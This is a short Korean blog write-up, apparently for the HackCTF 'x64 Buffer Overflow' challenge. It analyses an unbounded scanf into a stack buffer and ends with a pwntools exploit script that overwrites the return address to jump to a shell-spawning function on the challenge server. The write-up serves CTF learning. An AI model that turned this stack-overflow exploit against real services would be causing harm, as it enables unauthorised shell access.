[HackCTF] x64 Buffer Overflow
System/PWNABLE

[HackCTF] x64 Buffer Overflow

728x90

check

- 64bit

- NX만 설정되어 있음 >> 단순한 return address 변조로 풀 수 있을 것!

Analyze

pseudo code

- 스택 버퍼로 s를 만들고 ebp로부터 0x110byte 떨어진 곳에 위치한다. 그리고 scanf 함수를 통해 입력받는다. 이 때 입력받는 크기를 특정하지않기 때문에 Buffer Overflow가 발생할 수 있다.

- 변수 v5에는 문자열 s의 길이가 저장된다.

- 수상한 함수인 callMeMaybe..

- 이 함수를 RET 값으로 주면 execve("/bin/bash")가 실행되어 쉘을 딸 수 있을 것 같다.

Exploit

from pwn import *

p=remote("ctf.j0n9hyun.xyz", 3004)

pl="A"*(0x110)
pl+="A"*8
pl+=p64(0x400606)

p.sendline(pl)

p.interactive()

! 성공 !

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] Simple_Overflow_ver_2  (0) 2021.02.09
[HackCTF] x64 Simple_size_BOF  (0) 2021.02.09
[LOB] orc → wolfman  (0) 2021.02.05
[HackCTF] 내 버퍼가 흘러넘친다!!! (prob1)  (2) 2021.02.04
[HackCTF] offset  (2) 2021.02.03